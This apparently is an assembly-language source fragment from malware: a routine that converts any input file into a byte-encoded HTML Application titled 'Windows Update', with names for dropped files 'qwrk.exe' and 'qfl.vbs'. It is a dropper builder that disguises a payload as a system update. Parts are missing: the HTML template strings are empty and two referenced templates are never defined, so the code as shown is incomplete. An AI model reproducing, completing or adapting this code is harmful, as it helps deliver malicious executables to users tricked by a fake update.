; HTA file generator ; ######################################################################### .data szHTAFileName equ "qwrk.exe" szHTAVbsName equ "qfl.vbs" szHTACode1 db '',13,10 db '',13,10 db 'Windows Update',13,10 db '',13,10 db '',13,10 db '',13,10 db '',13,10 db '',0 szHTAShortFmt db "%hu,",0 szHTAShortFmt2 db "%hu",0 szHTAIntFmt db "%lu",0 .code GenHTACode proc hFileIn, hFileOut, dwInLen: DWORD LOCAL NumStr[20]: BYTE LOCAL Temp: BYTE LOCAL dwTemp, len: DWORD invoke lstrlen, offset szHTACode1 xchg eax, edx invoke WriteFile, hFileOut, offset szHTACode1, edx, addr dwTemp, NULL m2m len, dwInLen .WHILE len > 0 invoke ReadFile, hFileIn, addr Temp, 1, addr dwTemp, NULL .IF len == 1 mov edx, offset szHTAShortFmt2 .ELSE mov edx, offset szHTAShortFmt .ENDIF invoke wsprintf, addr NumStr, edx, Temp invoke lstrlen, addr NumStr xchg eax, edx invoke WriteFile, hFileOut, addr NumStr, edx, addr dwTemp, NULL dec len .ENDW invoke lstrlen, offset szHTACode2 xchg eax, edx invoke WriteFile, hFileOut, offset szHTACode2, edx, addr dwTemp, NULL dec dwInLen invoke wsprintf, addr NumStr, offset szHTAIntFmt, dwInLen invoke lstrlen, addr NumStr xchg eax, edx invoke WriteFile, hFileOut, addr NumStr, edx, addr dwTemp, NULL invoke lstrlen, offset szHTACode3 xchg eax, edx invoke WriteFile, hFileOut, offset szHTACode3, edx, addr dwTemp, NULL ret GenHTACode endp CreateHTAFile proc uses ebx InFile, OutFile: DWORD LOCAL hFileIn: DWORD LOCAL hFileOut: DWORD xor ebx, ebx invoke CreateFile, InFile, GENERIC_READ, FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL mov hFileIn, eax inc eax jz @chf_ret invoke CreateFile, OutFile, GENERIC_WRITE or GENERIC_READ, FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, 0, NULL mov hFileOut, eax inc eax jz @chf_ret invoke GetFileSize, hFileIn, NULL invoke GenHTACode, hFileIn, hFileOut, eax invoke CloseHandle, hFileIn invoke CloseHandle, hFileOut inc ebx @chf_ret: mov eax, ebx ret CreateHTAFile endp